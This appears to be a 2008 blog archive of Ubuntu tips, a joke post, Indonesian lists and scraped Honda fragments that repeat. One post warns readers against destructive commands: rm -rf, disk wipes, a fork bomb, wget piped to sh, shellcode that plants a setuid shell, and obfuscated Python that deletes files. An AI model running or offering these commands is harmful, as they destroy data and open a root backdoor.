Saturday, December 27, 2008

Ubuntu has the strongest chance to take Linux mainstream

Interview with Samba's Jeremy Alliso

"Jeremy Allison's contributions to the free software world are legion, and yet the project he's best known for continues to be Samba, the open implementation of some of Microsoft's most important networking protocols.

Linux Format magazine asked him about KDE, NAS, LSB, DCs and other acronyms, and now his answers are here for your TLA titillation…"



Read it here.

Wednesday, December 24, 2008

NO SEX TONIGHT!

[Christmas Post]
[Credit goes to the original writer]

I never quite figured out why the sexual urge of men and women differ so
much. And I never have figured out the whole Venus and Mars thing. I have
never figured out why men think with their head and women with their heart.

FOR EXAMPLE: One evening last week, my girlfriend and I were getting into
bed.

Well, the passion starts to heat up, and she eventually says "I don't feel
like it, I just want you to hold me."

I said "WHAT??!! What was that?!"

So she says the words that every boyfriend on the planet dreads to hear...
"You're just not in touch with my emotional needs as a woman enough for me
to satisfy your physical needs as a man." She responded to my puzzled look
by saying, "Can't you just love me for who I am and not what I do for you in
the bedroom?"

Realizing that nothing was going to happen that night, I went to sleep.

The very next day I opted to take the day off of work to spend time with
her. We went out to a nice lunch and then went shopping at a big, big
unnamed department store. I walked around with her while she tried on
several different very expensive outfits. She couldn't decide which one to
take so I told her we'd just buy them all. She wanted new shoes to
compliment her new clothes, so I said lets get a pair for each outfit. We
went onto the jewelry department where she picked out a pair of diamond
earrings. Let me tell you...she was so excited. She must have thought I was
one wave short of a shipwreck. I started to think she was testing me because
she asked for a tennis bracelet when she doesn't even know how to play
tennis. I think I threw her for a loop when I said, "That's fine, honey."
She was almost nearing sexual satisfaction from all of the excitement.
Smiling with excited anticipation she finally said, "I think this is all
dear, let's go to the cashier."

I could hardly contain myself when I blurted out, "No honey, I don't feel
like it."

Her face just went completely blank as her jaw dropped with a baffled
WHAT?"

I then said "honey! I just want you to HOLD this stuff for a while. You're
just not in touch with my financial needs as a man enough for me to satisfy
your shopping needs as a woman." And just when she had this look like she
was going to kill me, I added, "Why can't you just love me for who I am and
not for the things I buy you?"

Apparently I'm not having sex tonight either.

Sunday, December 21, 2008

The "I'm Linux" Video Contest

Yes you read it right.

After I'm Mac and I'm Pc now there is going to be I'm Linux.
"While the Linux Foundation would love to spend millions promoting Linux on TV, it's simply not our style (or in our budget). Even more importantly, Linux isn't a top-down, commercially controlled operating system. It's a grassroots product of mass collaboration. That's why we're sponsoring a community contest to create a Linux video that showcases just what Linux means to those who use it, and hopefully inspires many to try it."

"The winner will receive a free trip to Tokyo, Japan to participate in the Linux Foundation Japan Linux Symposium in October 2009."

http://video.linuxfoundation.org/category/video-category/-linux-foundation-video-contest

Wednesday, December 17, 2008

Linux is for your wife

I read couple of blogs claiming Linux is ready because his/her wife or old granny was able to use it without any problem.

Here is my view on this.

First of all, what are the general work your wife or old granny do on the computer?

1. Surf net
2. Chat
3. Listen Music
4. Maybe little of word processing

So you say Linux is ready because it can do above mentioned work nicely?

Linux was able to do such work since last decade. Instead of judging the maturity of Linux with less tech savvy wife and granny, it should be compared with technocrats who wants his/her computer to do everything, try new gadgets, always play with new software and so.

Does your new printer or you ipod work with Linux?
Does your brand new laptop behave well?
Is you printer recognized and you can use free wifi?
Can you name few games you have played on your Linux box?
.
.
.
.
and the list can go on.

So is the Linux ready?

Tuesday, December 9, 2008

Brightness reversed?

If your brightness function keys are reversed then here is the simplest solution you could possibly have.

Go to
  • System, Preferences, Power Management
  • Set "Set Display brightness to:" to zero (0)
That's it.

Tuesday, December 2, 2008

Exit status code and Meanings

Exit Code NumberMeaningExampleComments
1Catchall for general errorslet "var1 = 1/0"Miscellaneous errors, such as "divide by zero" and other impermissible operations
2Misuse of shell builtins (according to Bash documentation)empty_function() {}Seldom seen, usually defaults to exit code 1
126Command invoked cannot execute
Permission problem or command is not an executable
127"command not found"illegal_commandPossible problem with $PATH or a typo
128Invalid argument to exit
exit 3.14159exit takes only integer args in the range 0 - 255 (see first footnote)
128+nFatal error signal "n"kill -9 $PPID of script$? returns 137 (128 + 9)
130Script terminated by Control-C
Control-C is fatal error signal 2, (130 = 128 + 2, see above)
255*Exit status out of rangeexit -1exit takes only integer args in the range 0 - 255

Source and more reading: http://tldp.org/LDP/abs/html/exitcodes.html

Sunday, November 30, 2008

DAFTAR KAB/KOTA YANG MENGAJUKAN PENGAJUAN PENGUNDURAN UPLOAD NISN

DAFTAR KAB/KOTA YANG MENGIRIMKAN
SURAT RESMI PENGAJUAN PENGUNDURAN UPLOAD
KE BAGIAN SISTEM INFORMASI BPKLN SETJEN DEPDIKNAS
GEDUNG C LANTAI 7 JL. JEND. SUDIRMAN SENAYAN
KOMPLEKS DEPDIKNAS JAKARTA

1 Banten Kab. Serang
2 Banten Kab. Lebak
3 Banten Kota Tangerang
4 Bengkulu Kab. Bengkulu Utara
5 Bengkulu Kab. Kepahiang
6 DIY Kab. Bantul
7 DIY Kab. Kulon Progo
8 DKI Kota Jaksel Dikdas
9 DKI Kota Jakut Dikmenti
10 DKI Kota Jaktim Dikdas
11 Jawa Tengah Kab. Sukoharjo
12 Jawa Tengah Kab. Wonogiri
13 Jawa Timur Kab. Nganjuk
14 Jawa Timur Kab. Tulung Agung
15 Jawa Timur Kab. Tuban
16 Jawa Timur Kab. Sidoarjo
17 Jawa Timur Kab. Lamongan
18 Jawa Timur Kota Malang
19 Kalimantan Barat Kab. Ketapang
20 Kalimantan Timur Kota Samarinda
21 Kalimantan Timur Kab. Bulungan
22 Lampung Kab. Lampung Barat
23 Maluku Kab. Seram Bagian Barat
24 NAD Kab. Aceh Tenggara
25 NTB Kota Mataram
26 Papua Kab. Paniai
27 Sulawesi Barat Kab. Mamuju
28 Sulawesi Selatan Kab. Luwu
29 Sulawesi Selatan Kab. Pinrang
30 Sulawesi Selatan Kab. Selayar
31 Sulawesi Selatan Kab. Tana Toraja
32 Sulawesi Selatan Kota Makasar
33 Sulawesi Selatan Kab. Maros
34 Sulawesi Tengah kab. Toli-toli
35 Sulawesi Tengah Kota Palu
36 Sulawesi Tengah Kab. Donggala
37 Sulawesi Tengah Kab. Tojo Una Una
38 Sulawesi Tengah Kab. Morowali
39 Sumatera Selatan Kab. Muara Enim
40 Sumatera Selatan Kab. OKU
41 Sumatera Selatan Kab. OKU Timur
42 Sumatera Selatan Kab. OKI
43 Sumatera Utara Kab. Karo
44 Sumatera Utara Kab. Tapanuli utara
45 Sumatera Utara Kab. Tebing Tinggi
46 Sumatera Utara Kab. Nias
47 Sumatera Utara Kab. Deli serdang
48 Sumatera Utara Kab. Labuhanbatu
49 Sulawesi Selatan Kab. Gowa
50 Jawa Tengah Kab. Kendal
51 Jawa Timur Kota Blitar
52 Sumatera Utara Kab. Langkat
53 Kep. Babel Kab. Belitung Timur
54 Sulawesi Selatan Kab. Luwu Utara
55 DKI Kota Jakpus Dikdas
56 Sulawesi Selatan Bulukumba
57 Maluku Kab. Seram Bagian Barat
58 Riau Kab. Kampar
59 Maluku Kab. Maluku Tenggara
60 Riau Kab. Bengkalis
61 Sumatera Utara Kab. Tapanuli Utara
62 Jawa Barat Kab. Cianjur
63 Papua Kota Jayapura
64 Jawa Tengah Kab. Klaten
65 Sulawesi Tenggara Kab. Bombana
66 Kalimantan Tengah Kab. Katingan
67 Jawa Barat Kota Cimahi
(sumber bapak Dudu Durajat http://nisn.jardiknas.org/cont/kontak/index.php)

Sunday, November 16, 2008

Desktop publishing with Ubuntu linux

I am talking about two of the popular applications to use for desktop publishing.

1) scribus

"Scribus is powerful software that helps you create great looking documents of all kinds."

http://www.scribus.net/

2) inkspace



"Inkscape is an open-source vector graphics editor similar to Adobe Illustrator, Corel Draw, Freehand, or Xara X. What sets Inkscape apart is its use of Scalable Vector Graphics (SVG), an open XML-based W3C standard, as the native format."

http://inkscape.org

Tuesday, November 11, 2008

light application for your Ubuntu linux

  • xfce - Alternative to Gnome or Kde
  • enlightment - Alternative to Gnome or Kde
  • openbox - An window manager
  • pypanel - An extremely light weight panel
  • gmrun - will give you a small run dialog upon running
  • obmenu - graphical openbox menu editting app
  • obconf - graphical openbox theme changer, among other options
  • nitrogen - lightweight application to change wallpapers
  • gtk-chtheme - will allow you to change gtk themes
  • sakura - a light weight tabbed terminal.
  • scrot - a command line screenshot tool
  • kazehakase - a lightweight browser based on the gecko engine
  • sylpheed - a light weight email application
  • rtorrent - a command line torrent app
  • irssi - command line irc
  • finch - the command line version of finch
  • decibel-audio-player - a light weight gtk based audio app
  • xfburn - a burning application from the xfce suite
  • mirage - an extremely light weight image viewer
  • abiword and gnumeric - lighter office apps when compared to open office.
  • leafpad - extremely lightweight notepad app
  • epdfview - lightweight pdf viewer
  • xarchiver - lightweight archiving and compression tool to replace file-roller with.
  • pcmanfm - tabbed, lightweight file manager.
  • ivman - a behind the scenes auto-mounter.

Boot Ubuntu Linux faster by reducing TTY (virtual consoles)

Most of us never use all the virtual consoles(TTY) that is provided with most Linux distribution. Why leave it there and let it eat memory. You can decrease startup time by removing unwanted virtual console or TTY.

Removing some virtual consoles or reducing TTY is very easy.

Just follow the procedure below:

  • sudo -s
  • vi /etc/default/console-setup
  • change ACTIVE_CONSOLES=”/dev/tty[1-6]” to your choice. Lets say if you want only two TTY or virtual console then change to ACTIVE_CONSOLES=”/dev/tty[1-2]”
  • cd /etc/event.d
  • Comment on all the lines in ttyx file that you don't need. In this example tty3-tty6

Reboot to see the change.

Thursday, November 6, 2008

LANGKAH DEMI LANGKAH MERAKIT KOMPUTER

Berikut ini akan dibahas mengenai bagaimana cara merakit komputer, terutama bagi mereka yang baru belajar .. dari beberapa referensi yang saya pelajari .. maka berikut ini akan dijelaskan langkah demi langkah cara merakit komputer, mudah-mudahan bermanfaat .. Red. dedenKomponen perakit komputer tersedia di pasaran dengan beragam pilihan kualitas dan harga. Dengan merakit sendiri komputer, kita

Sunday, November 2, 2008

Change close, minimize, maximize and menu icon order

If you want to change the order of minimize, maximize, close and menu icons in the title bar, follow the steps below

Press Alt+F2 to bring the run application dialog box. Type gconf-editor
Configuration editor will open. Go to /apps/metacity/general/button_layout
If you look close at the button_layout key, you will see four items, minimize, maximize, close and menu separated by coma and colon.


All the items on left side of colon appears on left side of the title bar and all the items on right side of the colon appears on the right side of the title bar.

So if you double click it and change it to minimize,maximize,close:menu
the icons in your title bar will resemble Mac OS.

Wednesday, October 29, 2008

service command in ubuntu

Redhat, Fedora and CentOS users and server administrators uses service * start/stop/restart/status command. Where as Ubuntu users and server administrators uses /etc/init.d/* start/stop/restart.

With Ubuntu Intrepid Ibex 8.10 Ubuntu users can also use the service command to start/stop/restart the Ubuntu services.

Hope this make the Redhat and other administrators little homely while using Ubuntu :P.

Friday, October 24, 2008

Change folder background

It is easy to customize color or pattern in folder background. I use Ubuntu, Gnome and Nautilus. To put any particular color or pattern as a background follow the following steps.

  1. In Nautilus go to Edit -> Background and Emblems
  2. You will see patterns. Drag any one of them to put it as pattern. To reset drag the pattern on top left corner with reset text.
  3. If you want to put particular color go to colors tab and drag any one of them.

Friday, October 17, 2008

Commands you should never run

Never ever run the following commands on your system no matter who tells you what.

rm -rf /
rm -rf .
rm -rf *
rm -r .*
rm -r .[^.]*


mkfs
mkfs.ext3
mkfs.anything


any_command > /dev/sda
dd if=something of=/dev/sda


:(){:|:&};:


wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh



char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";


python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'


Never ever run the above commands on your system no matter who tells you what unless you are experimenting.

Read More: http://ubuntuforums.org/announcement.php?f=73

Sunday, October 12, 2008

Crash Windows with two keys



Open notepad and copy the following lines. Save it as "crashWin.reg". (including the double quotes)


Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\i8042prt\Parameters]
"CrashOnCtrlScroll"=dword:00000001



Save and exit notepad.



Or if you know how to edit the registry you can do it as in the picture below.



Right click the file crashwin.reg and select merge.



You will get a dialog box asking if you want to add information to registry.
Select yes.



You will be greeted saying the information were added successfully.



Now restart the computer.

After your windows boots up, press and hold Right Control key(Left control key will not work) and hit Scroll Lock key twice.

Your windows will crash generating the memory dump file.



P.S. This is not a bug. This is a feature provided by Microsoft to generate memory dump file.

Sunday, October 5, 2008

Gnome desktop Screenshot

Here is a beautiful screenshot of Ubuntu desktop. It has some kind of black theme with big nice cool looking Firefox icon. Other icons are lined below. Unlike other screenshots, in this screenshot you wont find any dock or screenlets.

With combination of nice theme, icon and background this sure is a solid desktop.

Wednesday, October 1, 2008

Honda cars, auto , 10









Pakistan

* Multan — Cars
* Lahore — Cars
* Sialkot — Cars
* Karachi — Cars
* Rahim Yar Khan — Motorcycles

[edit] Argentina

* Zárate, Family Cars

[edit] Vietnam

* Dong Anh, Hanoi — Cars and scooters
* Vinh Phuc — Cars and parts

Robots
ASIMO at Expo 2005 in Japan
ASIMO at Expo 2005 in Japan

ASIMO is the part of Honda's Research & Development robotics program. It is the eleventh in a line of successive builds starting in 1986 with Honda E0 moving through the ensuing Honda E series and the Honda P series. Weighing 54 kilograms and standing 130 centimeters tall, ASIMO resembles a small astronaut wearing a backpack, and can walk on two feet in a manner resembling human locomotion, at up to 6 km/h (3.7 mph). It is the world's only humanoid robot able to ascend and descend stairs independently.[17] However, human motions such as climbing stairs are difficult to mimic with a machine, which ASIMO has demonstrated by taking two plunges off of a staircase.

Honda cars, auto , 10









Pakistan

* Multan — Cars
* Lahore — Cars
* Sialkot — Cars
* Karachi — Cars
* Rahim Yar Khan — Motorcycles

[edit] Argentina

* Zárate, Family Cars

[edit] Vietnam

* Dong Anh, Hanoi — Cars and scooters
* Vinh Phuc — Cars and parts

Robots
ASIMO at Expo 2005 in Japan
ASIMO at Expo 2005 in Japan

ASIMO is the part of Honda's Research & Development robotics program. It is the eleventh in a line of successive builds starting in 1986 with Honda E0 moving through the ensuing Honda E series and the Honda P series. Weighing 54 kilograms and standing 130 centimeters tall, ASIMO resembles a small astronaut wearing a backpack, and can walk on two feet in a manner resembling human locomotion, at up to 6 km/h (3.7 mph). It is the world's only humanoid robot able to ascend and descend stairs independently.[17] However, human motions such as climbing stairs are difficult to mimic with a machine, which ASIMO has demonstrated by taking two plunges off of a staircase.

Honda cars, auto , 9






Malaysia

* Malacca — Constant Velocity Joints
* Penang Motorcycle under Boon Siew Honda

[edit] Philippines

* Batangas — Motorcycles
* Laguna — Cars; Parts and Transmission

Honda cars, auto , 8






Belgium

* Ghent, Belgium - European logistics[16]

[edit] Brazil

* Manaus, Amazonas — motorcycles
* Sumaré, São Paulo — cars (Civic and Fit)

[edit] Colombia

* Cali, Valle del Cauca — motorcycles

[edit] Thailand

* Ayutthaya

[edit] Turkey

* Gebze

City model, Civic models.